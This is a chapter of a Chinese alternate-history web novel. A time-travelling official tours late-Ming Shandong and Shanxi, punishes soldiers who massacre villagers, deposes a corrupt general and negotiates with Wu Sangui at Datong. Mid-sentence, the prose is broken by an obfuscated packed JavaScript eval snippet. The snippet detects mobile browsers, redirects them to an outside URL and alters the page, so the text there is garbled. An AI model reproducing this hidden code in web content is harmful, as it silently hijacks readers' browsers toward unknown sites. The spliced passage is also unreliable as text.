一个月内,遭遇七次刺杀,最险的一次,刺客的刀离他咽喉只有三寸。漕帮余孽、地方豪强、甚至可能还有宫里的势力,都想让他死在路上。 但孙传庭护卫严密,锦衣卫暗中清除,都挺过来了。 “大人,前面是德州了。”车外陈平禀报。 德州,运河与驿道交汇处,山东北大门。过了德州,就进入北直隶,离北京越来越近,但李炎不去北京——他转道向西,直奔大同。 “在德州休整半日。”李炎下令,“补充粮草,打探消息。” --- 午时·德州城 德州城比临清萧条许多。城墙有修补痕迹,城门口盘查森严,进出的百姓面带菜色,行色匆匆。 李炎车队在驿馆安顿后,他换了便服,只带陈平和两个亲兵,上街查看。 街市冷清,开门的店铺不足三成。粮铺前排着长队,价格高得离谱——一石米要三两银子,是正常年景的五倍。 “怎么这么贵?”李炎问一个老农。 老农苦笑:“客官外地来的?去年山东大旱,粮食减产,今年春粮还没收,粮商囤积居奇呗。官府倒是说平粜,可那点粮,哪够啊。” “官府不管?” “管?”老农摇头,“那些粮商,哪个不是官府老爷的亲戚?管什么管。” 正说着,远处传来喧哗。一队兵丁押着几个百姓过来,百姓哭喊着:“军爷,真没粮了!家里就剩这点种子,您拿走了,我们怎么活啊!” “少废话!闯贼要打过来了,大军要粮!你们不交,就是通贼!”为首的军官喝道。 李炎皱眉。这显然是借剿匪之名强征,与土匪何异? 他正要上前,被陈平拉住:“大人,这里是山东地界,不宜插手地方军务。” 李炎犹豫片刻,最终还是没动。他现在是钦差,但无节制山东兵马之权,贸然干预,只会激化矛盾。 但心里憋着一股火。 回到驿馆,他立即写信给崇祯,陈述山东饥荒、军纪败坏之状,建议朝廷紧急调粮赈济,并严惩借剿匪之名扰民的将领。 写完信,他问陈平:“派去保定的人有消息吗?” 陈平摇头:“还没有。不过保定那边传回消息,说闯军李自成部确在陕西休整,但派出一支偏师东进,已破潼关,有威胁山西之势。” 山西!李炎心中一紧。大同在山西北部,若闯军入晋,吴三桂的态度就更加关键了。 “告诉孙传庭,明日提前出发,加快速度。” “是。” --- 申时·意外访客 驿馆来了一位不速之客——德州守备,姓杨,一个四十多岁的粗豪汉子。他带着两个亲兵,提着一坛酒、一只烧鸡,径直来见李炎。 “李太保!末将杨国柱,久仰大名!”杨守备嗓门洪亮,“听说太保路过德州,特来拜会!没什么好东西,一点酒肉,不成敬意。” 李炎打量他。杨国柱这个名字,他有点印象——历史上确有其人,后来在松锦之战中战死,算是个敢战的将领。 “杨守备客气,请坐。” 两人对坐。杨国柱倒上酒,自己先干一碗:“太保在临清的事,末将听说了!痛快!漕帮那帮蛀虫,早该收拾了!” “杨守备也受过漕帮的气?” “何止受过!”杨国柱愤然,“去年末将领兵押运军粮,过临清闸,被漕帮刁难,硬是扣了三天!要不是军情紧急,老子真想带兵平了那帮孙子!” 李炎心中一动:“杨守备驻守德州,对山东军情应该熟悉。方才我在街上,见有官兵强征百姓口粮,说是为防闯贼。不知……” 杨国柱脸色一变,压低声音:“太保,这事您最好别管。那些兵……是刘泽清部下的。” 刘泽清!李炎瞳孔一缩。这位山东总兵,历史上先是降闯,后降清,反复无常,而且贪婪残暴,纵兵劫掠是常事。 “刘总兵现在何处?” “在济南。”杨国柱声音更低,“不过……末将听说,他暗中和闯军有联络。” “可有证据?” “没有实据,但有些蛛丝马迹。”杨国柱道,“上月,有一支商队从河南来,持有刘总兵的关防,顺利通过德州。末将手下检查,发现车里装的不是货物,是……书信和金银。” “商队去哪了?” “往西,应该是去山西。”杨国柱顿了顿,“太保要去大同见吴三桂吧?末将劝您……小心些。山西那边,水太深了。” 李炎沉思。刘泽清若真与闯军勾结,那山西的局势就复杂了——吴三桂在观望,刘泽清在摇摆,而闯军正在东进。 “杨守备,若有一日,朝廷要你对付刘泽清,你敢吗?” 杨国柱一愣,随即拍胸脯:“有什么不敢!末将吃的是皇粮,忠的是皇上!刘泽清那厮要是敢反,末将第一个砍他!” “好!”李炎举杯,“有杨守备这句话,我就放心了。这杯酒,我敬你。” 两人对饮。杨国柱酒酣耳热,又说了许多山东军中的弊病:吃空饷、克扣粮饷、军纪败坏……桩桩件件,触目惊心。 “太保,末将说句掏心窝子的话。”杨国柱红着眼睛,“大明军队,已经烂到根子了。您改革漕运,是好事,但更该改革的是军制!不改,再多粮饷也是打水漂!” 这话说到李炎心坎上了。他何尝不想改革军制?但牵一发而动全身,比漕运改革难十倍。 “杨守备放心,军制改革,迟早要做。但需要时机,也需要……像你这样的将领支持。” “末将愿效犬马之劳!”杨国柱单膝跪地。 李炎扶起他,心中有了计较。山东是个重要棋子,杨国柱这样的将领,值得拉拢。 “杨守备,我写封信,你派人秘密送往京城,交给王承恩王公公。”李炎低声道,“信里会举荐你为山东副总兵,节制德州、临清防务。但此事机密,不可让刘泽清知道。” 杨国柱大喜:“谢太保提拔!” “先别谢。”李炎正色,“我要你做的,是盯住刘泽清,收集他通敌的证据。还有——保护漕运,保证运河畅通。能做到吗?” “能!”杨国柱斩钉截铁。 送走杨国柱,李炎立即写信。他要布下一颗暗子,在山东埋下一根钉子。 乱世之中,多一分准备,就多一分胜算。 --- 四月初三·入山西 车队过真定府,转入山西地界。 景象骤然不同。山峦起伏,道路崎岖,村庄大多建在山上,寨墙高垒,显然是为防匪患。田野里耕作的人很少,偶尔可见废弃的村落,残垣断壁上还有火烧痕迹。 “这一带闹过匪?”李炎问向导。 向导是个老镖师,走山西道几十年,闻言叹气:“何止闹过?这些年,陕西的流贼、本地的土匪、溃败的官兵……你来我往,老百姓苦啊。稍微平坦点的地方都没人敢住,都躲到山里去了。” “官府不管?” “管不过来。”老镖师摇头,“山西兵大多调去防闯贼了,地方上只剩些老弱残兵,守城都勉强,哪敢出剿?” 正说着,前方探马来报:“大人,有情况!” 孙传庭策马上前查看,片刻后回来,面色凝重:“是官军……在屠村。” “什么?!”李炎震惊。 车队加速前进,转过山坳,看到了惨烈一幕: 一个小山村正燃着大火,浓烟冲天。几十个穿号衣的士兵正在追杀百姓,哭喊声、惨叫声、狂笑声混在一起。地上已躺了数十具尸体,老弱妇孺皆有。 “住手!”孙传庭怒吼。 士兵们停手,看向这边。为首的是个百户,提着一把滴血的刀,满不在乎:“哪来的?少管闲事!” 李炎策马出列,亮出令牌:“本官钦差李炎!你们是哪部兵马?为何屠戮百姓?!” 看到“如朕亲临”的七星令,百户脸色一变,但仍强硬:“末将山西镇标营百户赵猛!奉命剿匪!这些村民通匪,按律当诛!” “通匪?证据呢?” “他们藏匿匪首!”赵猛指向一个被绑在树上的汉子,“此人就是匪首‘一阵风’,末将追捕多日,他们却藏匿不报!” 那汉子三十多岁,衣衫褴褛,浑身是伤,但眼神桀骜,啐了一口血沫:“狗官!老子杀富济贫,专杀你们这些贪官污吏!要杀便杀,少废话!” 李炎看向幸存村民,一个老妪哭喊:“大人明鉴啊!王铁匠不是匪,他是被逼的!去年粮税交不起,官府要抓他顶罪,他才逃上山……但他从没祸害过乡亲啊!” “听见了吗?”李炎盯着赵猛,“此人若是匪,为何村民护他?分明是你诬良为盗,滥杀无辜!” 赵猛恼羞成怒:“李太保!末将奉的是巡抚大人军令!您虽是钦差,但也管不到山西军务吧?” “军令?”李炎冷笑,“拿军令来看。” 赵猛掏出一纸文书。李炎接过,扫了一眼——确实是山西巡抚蔡懋德签发的剿匪令,但上面写的是“剿灭盘踞黑风寨之匪”,并非屠村。 “军令让你剿黑风寨,没让你屠村。”李炎将文书扔回,“孙传庭,将此人拿下,所有参与屠村的兵丁,全部缴械扣押!” “你敢!”赵猛拔刀,“弟兄们,他们人少,跟他们拼了!” 他手下还有五十多人,而李炎这边虽有五百骑兵,但分散在车队前后。真要冲突,难免伤亡。 李炎却毫无惧色,从怀中掏出手枪——还剩五发子弹。他对着天空放了一枪。 “砰!” 巨响震得山鸣谷应。赵猛等人没听过这种声音,都吓住了。 “本官有尚方宝剑,可先斩后奏。”李炎声音冰冷,“赵猛,你再动一下,下一枪打的就不是天了。” 赵猛脸色煞白,刀“当啷”落地。士兵们见状,纷纷放下武器。 孙传庭带人上前,将赵猛等人绑了。李炎下马,走到被绑的汉子面前:“你叫王铁匠?” “是。”汉子昂头,“要杀要剐,随便!” “我不杀你。”李炎让亲兵给他松绑,“但我要问你——若给你条活路,你愿不愿意为朝廷效力?” 王铁匠愣住:“什么?” “你熟悉山西地形,了解匪情,又有一身武艺。”李炎道,“与其占山为王,不如加入官军,堂堂正正剿匪安民。如何?” “官军?”王铁匠嗤笑,“官军比匪还狠!我才不……” “我不是让你加入他们。”李炎指着被绑的赵猛,“我是让你加入我的亲兵队。我给你一个百户的职位,月饷五两,任务是清查山西各地军纪,专治这种祸害百姓的败类。干不干?” 王铁匠瞪大眼睛,难以置信。周围的村民也呆了。 “大人……此话当真?” “军中无戏言。”李炎取出空白告身,当场填写,盖印,“这是告身,从现在起,你就是我麾下百户,专司军纪稽查。第一个任务——审问赵猛,把他这些年干的脏事,全挖出来。” 王铁匠接过告身,手在颤抖。他忽然跪地,重重磕头:“王铁柱愿为大人效死!” “起来。”李炎扶起他,“先救治乡亲,掩埋死者。所有损失,由官府赔偿。” 他转身对孙传庭道:“将赵猛等人押往太原,交给蔡巡抚,附上我的亲笔信——告诉他,若再纵容部下屠戮百姓,我参他一本!” “是!” 处理完这一切,天色已晚。车队在村外扎营,李炎让军医救治伤员,分发粮食。村民们跪了一地,千恩万谢。 夜深,李炎在帐中难以入眠。 王铁匠的事只是冰山一角。山西如此,陕西、河南、湖广……又有多少百姓被逼为盗?大明就像一间漏雨的房子,崇祯在屋顶补窟窿,而下面梁柱已经蛀空。 治标,更要治本。 “大人,王百户求见。”帐外陈平禀报。 “让他进来。” 王铁柱——现在该叫王百户了,换了身干净衣服,但脸上伤疤仍在。他进来后跪下:“大人,赵猛招了。” “说。” “他屠村不是为了剿匪,是为了……抢粮。”王铁柱咬牙,“山西今年春荒,军粮不足,上峰让各部‘自筹’。赵猛就带兵四处抢掠,抢完还栽赃给土匪。光是他这一队,这一个月就屠了三个村,抢粮五百石,金银无数。” 李炎握紧拳头:“上峰是谁?” “山西总兵周遇吉……的副将,许定国。”王铁柱道,“许定国让各部‘便宜行事’,抢到的粮食,三成上交,七成自留。所以……” 所以官兵比土匪还凶。 周遇吉李炎知道,历史上宁武关血战殉国的名将,以刚直著称。但他的副将竟如此不堪。 “周总兵知道吗?” “应该……不知道。”王铁柱迟疑,“周总兵驻防宁武关,防闯贼,山西内地军务都交给许定国了。” 李沉思。这可能是许定国瞒着周遇吉胡作非为,也可能是周遇吉默许——乱世之中,为保军队战斗力,有时候不得不纵兵抢粮。 但无论如何,这是饮鸩止渴。 “王百户,我给你个任务。”李炎正色道,“你带几个人,秘密调查山西各地驻军,有多少像赵猛这样祸害百姓的。名单、证据,全部记下。但要小心,不可打草惊蛇。” “卑职领命!”王铁柱眼中燃起火焰。他终于有机会,为那些冤死的乡亲报仇了。 待王铁柱退下,李炎铺开山西地图。 大同在最北,宁武关在西北,太原在中。吴三桂驻大同,周遇吉守宁武,许定国控太原——这三个人,将决定山西乃至整个北方的命运。 而他要做的,是在这三角之间,找到平衡点。 --- 四月初五·太原城 太原,晋王封地,山西首府。 李炎车队抵达时,山西巡抚蔡懋德率百官出城迎接。场面隆重,但李炎从蔡懋德眼中看到了不安。 果然,接风宴后,蔡懋德单独求见。 “李太保,赵猛的事……下官失察。”蔡懋德年过六旬,须发皆白,此刻愁容满面,“许副将说是剿匪,下官就批了令,没想到他纵兵屠村……” “蔡巡抚,赵猛只是小卒。”李炎直视他,“真正该负责的,是纵容部下的许定国,还有……您这位巡抚。” 蔡懋德汗出如浆:“下官知罪!但太保有所不知,山西如今……难啊。去岁大旱,今春饥荒,库中无粮,军中缺饷。许定国说‘自筹’,下官也是没办法……” “没办法就纵兵抢粮?”李炎拍案,“蔡巡抚,你是读书人,该知‘民为邦本’!百姓都死光了,你这巡抚给谁当?” 蔡懋德跪地:“太保教训的是……下官,下官愿辞官谢罪。” “辞官容易,但山西的烂摊子谁来收拾?”李炎扶起他,“蔡巡抚,我知你为难。但再难,也不能祸害百姓。我给你指条路——清丈田亩,追缴欠税。” 蔡懋德苦笑:“太保,山西田亩,十之七八在宗室、勋贵、士绅手中。他们……不好动啊。” “那就从晋王开始。”李炎语出惊人。 “什么?!”蔡懋德吓傻了,“晋王是太祖血脉,亲王之尊……” “亲王就不用纳税?”李炎冷笑,“洪武年间,亲王岁禄万石,但也要纳田赋。如今呢?晋王府占田三十万亩,一赋不纳,还享受朝廷供养。天下哪有这样的道理?” 蔡懋德嘴唇哆嗦:“这……这要得罪整个宗室啊!” “得罪就得罪。”李炎断然道,“蔡巡抚,你想想——是得罪宗室可怕,还是百姓揭竿而起可怕?是得罪士绅可怕,还是军队无粮哗变可怕?” 他走到窗前,望着太原城:“我知道你怕。但有些事,总得有人做。我给你撑腰,你放手去干。先从晋王府开始,追缴历年欠税。所得钱粮,一半充作军饷,一半赈济灾民。如何?” 蔡懋德挣扎良久,最终咬牙:“下官……遵命!” “好!”李炎取出一封信,“这是我写给皇上的密折,陈述山西困境,建议‘清丈宗室田亩,一体纳粮’。你派人快马送京。有这封信在,皇上怪罪下来,我担着。” 蔡懋德接过信,老泪纵横:“李太保……山西百姓,会记住您的恩德。” “我不要百姓记住我,我要他们活下去。”李炎顿了顿,“还有一事——我要见许定国。” --- 申时·总兵府 许定国四十多岁,满脸横肉,典型的武夫。见李炎来,他大马金刀坐着,只略一拱手:“李太保,久仰。” 态度倨傲。显然,赵猛被押送太原的事,他已经知道了。 “许副将,赵猛屠村的事,你可知道?”李炎开门见山。 “知道。”许定国满不在乎,“剿匪嘛,难免伤及无辜。太保是文官,不懂军事。” “我不懂军事,但懂王法。”李炎冷声道,“大明律:官兵劫掠百姓,与匪同罪,斩立决。许副将,你觉得赵猛该不该斩?” 许定国脸色一沉:“太保,赵猛是我的兵,要处置,也该由我来。” “你的兵?”李炎笑了,“普天之下,莫非王土;率土之滨,莫非王臣。大明的兵,什么时候成了你许定国的私兵?” 这话诛心。许定国拍案而起:“李炎!你别给脸不要脸!这里是山西,不是京城!强龙不压地头蛇的道理,你不懂?” “我懂。”李炎平静道,“但我这条龙,偏偏要压一压你这地头蛇。” 他亮出尚方宝剑:“许定国听旨——皇上密旨:山西总兵周遇吉忠勇可嘉,着即晋封太子太保,节制山西全境兵马。副将许定国,纵兵殃民,着即革职,押解进京问罪!” “什么?!”许定国大惊,“不可能!皇上怎么会……” “圣旨在此,你要抗旨吗?”李炎将一卷黄绫扔到他面前。 许定国展开,确实是圣旨,盖着玉玺。他当然不知道,这是李炎临行前,崇祯给他的空白圣旨之一,让他“便宜行事”。 “你……你假传圣旨!”许定国嘶吼。 “是真是假,到京城就知道了。”李炎挥手,“拿下!” 孙传庭带兵冲入,将许定国按倒在地。许定国的亲兵想反抗,但被王铁柱带人制住——王铁柱熟悉总兵府地形,早有准备。 不过一刻钟,许定国及其心腹全部被擒。 “李炎!你不得好死!”许定国挣扎怒骂,“周遇吉不会放过你的!” “周总兵那边,我自有交代。”李炎淡淡道,“押下去。” 处理完许定国,李炎立即给周遇吉写信,说明情况,并请他来太原主持大局。同时,他启用杨国柱推荐的另一个将领——原大同副总兵王朴,暂代许定国之职。 王朴历史上名声不好,后来降清,但此时还算可用。李炎给他下了死命令:整顿军纪,停止抢掠,违者斩。 一夜之间,山西军界变天。 消息传开,百姓拍手称快,但士绅惶惶——李炎连晋王都敢动,连许定国都敢抓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115962|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有谁不敢动? --- 四月初八·宁武来信 周遇吉的回信到了。 这位名将没有为许定国求情,反而感谢李炎“整肃军纪”,并表示将“尽快南下,共商防务”。信中,他透露了一个重要情报: “闯贼李自成,已派大将刘宗敏率军五万,出潼关,有东进山西之势。末将已加强宁武关防务,但恐独力难支。望太保速至大同,说动吴三桂出兵,共御闯贼。” 果然,李自成的动作比历史上快。是因为北京没打下来,要另寻出路?还是想趁明军虚弱,夺取山西? 无论如何,时间更紧迫了。 李炎立即启程,留下王铁柱在太原协助蔡懋德,自己率队北上大同。 出太原城时,成千上万百姓跪在道旁,高呼“青天”。他们不知道朝廷争斗,只知道这个李太保来了,抢粮的官兵被抓了,日子有盼头了。 李炎看着这些淳朴的面孔,心中沉甸甸的。 他能救太原,能救山西吗?能救这个千疮百孔的大明吗? 他不知道。他只知道,必须往前走。 --- 四月十二·雁门关 雁门关,天下九塞之首。 车队过关时,李炎特意登关远眺。只见群山如海,长城如龙,蜿蜒在崇山峻岭间。关口石壁上,历代名将题刻犹在,斑驳中透出苍凉。 “当年李牧守雁门,匈奴不敢南下。”孙传庭感慨,“如今……唉。” 如今,关外是虎视眈眈的满清,关内是蜂起的流寇,而守关的明军,缺饷少粮,军心涣散。 李炎抚摸冰凉的城墙,忽然问:“孙将军,若有一天,要你死守此关,你会吗?” 孙传庭毫不迟疑:“会。末将是军人,守土有责,马革裹尸是本分。” “好。”李炎拍拍他的肩,“但我要你活着。活着,才能做更多事。” 下关时,守关将领送来急报:吴三桂已得知李炎将至,派其弟吴三辅前来迎接,现已在关外三十里等候。 “吴三辅……”李炎沉吟。此人是吴三桂堂弟,也是关宁军重要将领。吴三桂派他来,既是示好,也是示威——你看,我弟弟这样的将领,随时可以调动。 “告诉吴将军,本官明日抵达。”李炎下令,“今晚在关内扎营,我要好好想想……怎么见这位平西伯。” 夜,雁门关营寨。 李炎在灯下研究吴三桂的资料。历史上对吴三桂的评价两极:有人说他“冲冠一怒为红颜”,是汉奸;也有人说他“反复无常”,是枭雄。但真实的历史,往往更复杂。 吴三桂,字长伯,辽东将门之后。父吴襄曾任锦州总兵,崇祯四年大凌河之战殉国。吴三桂少年从军,作战勇猛,二十八岁任宁远总兵,是明末最年轻的方面大将。 他镇守山海关四年,清军未能越雷池一步。但代价是——关宁军成为只听吴家号令的“私军”,朝廷的粮饷、升迁,吴三桂都要讨价还价。 “此人重利,也重名。”李炎分析,“降清前,他犹豫了整整一个月。不是不想降,是怕背上骂名。所以,对付他,要恩威并施——给足面子,也要让他知道,朝廷有底线。” 他提笔,给崇祯写密奏,建议: 一、正式晋封吴三桂为“平西侯”,加太子太傅,赐丹书铁券。 二、调拨粮饷三十万两,但分三期支付,视其表现而定。 三、命吴三桂移镇宣府,但许其保留关宁军旧部。 四、派御史监军,但给吴三桂“临机专断”之权。 这四条,既满足了吴三桂的虚荣心和实际利益,也埋下了制约的伏笔——移镇宣府,就远离了山海关老巢;分期给饷,就有了操控杠杆;监军御史,就是朝廷的眼睛。 写完密奏,李炎又给周遇吉写信,请他“适当示弱”,向吴三桂求援,给吴三桂一个“拯救同僚”的机会,满足其虚荣心。 最后,他召来春梅:“把我那件御赐蟒袍找出来,明天穿。” “大人要盛装见吴三桂?” “对。”李炎点头,“不仅要盛装,还要摆足钦差的架势。这种人,你越恭敬,他越看不起你;你越强势,他反而会尊重你。” 春梅似懂非懂,但照办了。 夜深,李炎走出营帐。雁门关的夜空,星辰璀璨,银河如练。 明天,就要见那个决定历史走向的人了。 他会如何选择?会像历史上那样降清,还是会……有不一样的结局? 李炎不知道。但他知道,自己必须全力以赴,去争取那个不一样的结局。 哪怕只有一丝希望。 --- 四月十三·大同城外 大同,九边重镇。 李炎车队抵达时,吴三辅已率三百骑兵在城外迎接。这三百骑兵,人披铁甲,马配具装,军容严整,与李炎一路所见的明军截然不同。 “末将吴三辅,恭迎李太保!”吴三辅三十出头,与吴三桂有七分相似,但眉眼间多了几分骄横。 “吴将军免礼。”李炎端坐马上,蟒袍玉带,气度雍容,“平西伯可在城中?” “家兄在总兵府设宴,为太保洗尘。”吴三辅笑道,“太保请。” 入城。大同城比太原更显军事化,街道宽阔,商铺不多,但兵器铺、马具铺林立。百姓见军队经过,纷纷避让,眼神中有敬畏,也有麻木。 总兵府巍峨,门口立着两尊石狮,比巡抚衙门还气派。吴三桂亲自在门前迎接——这是极高礼遇了。 李炎下马,打量这位传奇人物。 吴三桂四十岁,身材魁梧,面如冠玉,蓄着短须,穿着蟒袍——那是崇祯先前赐的。他笑容满面,但眼中精光闪烁,显然在审视李炎。 “李太保远来辛苦!”吴三桂拱手,“末将有失远迎,恕罪恕罪!” “平西伯客气。”李炎还礼,“本官奉皇上之命,特来宣旨。” “请!” 进入正堂,香案已设好。李炎宣读圣旨——正是他建议的那些封赏。吴三桂跪接,表情恭敬,但李炎注意到,他听到“移镇宣府”时,眉头微不可察地皱了一下。 宣旨完毕,宴席开始。 山珍海味,歌舞助兴,排场极大。吴三桂不断敬酒,言语热络,但绝口不提正事。李炎也不急,谈笑风生,讲些京中趣闻、漕运见闻。 酒过三巡,吴三桂终于切入正题:“太保,听说您在临清整顿漕运,雷厉风行,末将佩服。只是……如今闯贼又起,朝廷当以剿贼为重,漕运之事,是否可缓?” “剿贼要粮,漕运就是粮道。”李炎放下酒杯,“平西伯可知,去年四百万石漕粮,实到京师不足三百万?若漕运畅通,军粮充足,闯贼何足道哉?” 吴三桂讪笑:“太保说的是。不过……末将听说,漕运改革,得罪了不少人。如今江南不稳,万一漕运中断,前线将士饿肚子,岂不更糟?” “所以本官来大同。”李炎直视他,“平西伯,朝廷需要你这样的栋梁坐镇。只要你在,闯贼就不敢东顾,朝廷就能安心整顿内政。” 这话把吴三桂捧得很高。他面色稍霁:“末将自当尽力。只是……关宁军五万将士,缺饷三个月了。没有粮饷,军心不稳啊。” 终于说到正题了。李炎早有准备:“皇上已下旨,拨饷三十万两,第一批十万两,半月内可到。但有个条件——” “什么条件?” “请平西伯出兵三万,助周遇吉总兵防守宁武关。”李炎正色道,“闯贼刘宗敏部五万已出潼关,宁武关若失,大同危矣。平西伯与周总兵互为犄角,方可保山西太平。” 吴三桂沉吟。他当然不想消耗自己的兵力去帮周遇吉,但李炎说得在理——宁武关若破,闯军直扑大同,他也不好过。 “三万太多。”他讨价还价,“关宁军要防清虏,最多出一万五。” “两万。”李炎让步,“且只需守三个月。三个月后,朝廷新军练成,自会接防。另外……周总兵那边,也会有所表示。” “什么表示?” 李炎压低声音:“周总兵愿将宁武关以东三县防务,交给平西伯。这三县的粮税,可供关宁军支用。” 这是李炎与周遇吉信中约定的——用三县地盘,换吴三桂出兵。对周遇吉来说,地盘小了,但压力减轻;对吴三桂来说,白得三县粮税,何乐不为? 吴三桂眼睛亮了:“此话当真?” “周总兵亲笔信在此。”李炎取出信。 吴三桂看完,终于点头:“好!末将就出兵两万,助周总兵守关!” “平西伯深明大义!”李炎举杯,“本官敬你!” 两人对饮,表面一团和气。 但李炎知道,这只是开始。吴三桂这样的人,绝不会轻易被笼络。他要的,是实实在在的利益和权力。 而朝廷能给的,有限。 宴席散后,吴三桂送李炎到客房。临别时,他忽然问:“太保,听说皇上……身体欠安?” 李炎心中一凛,表面不动声色:“皇上日理万机,确实劳累。但并无大碍。” “那就好。”吴三桂意味深长,“国不可一日无君啊。” 这话听着像关心,实则是试探——如果崇祯不行了,他吴三桂该何去何从? 李炎正色道:“皇上正值盛年,且有太子在,大明国祚永固。平西伯不必多虑。” 吴三桂笑了笑,不再多言。 回到客房,李炎久久无法入睡。 吴三桂的试探,暴露了他的心思——他在观望,在看崇祯还能撑多久,在看大明还有没有希望。 而李炎要做的,就是让他看到希望。 哪怕这个希望,要用血与火来铸就。 窗外,大同的夜空,没有星辰,只有厚重的云层。 山雨欲来风满楼。 而李炎,已经站在了风暴中心。 【第十章完】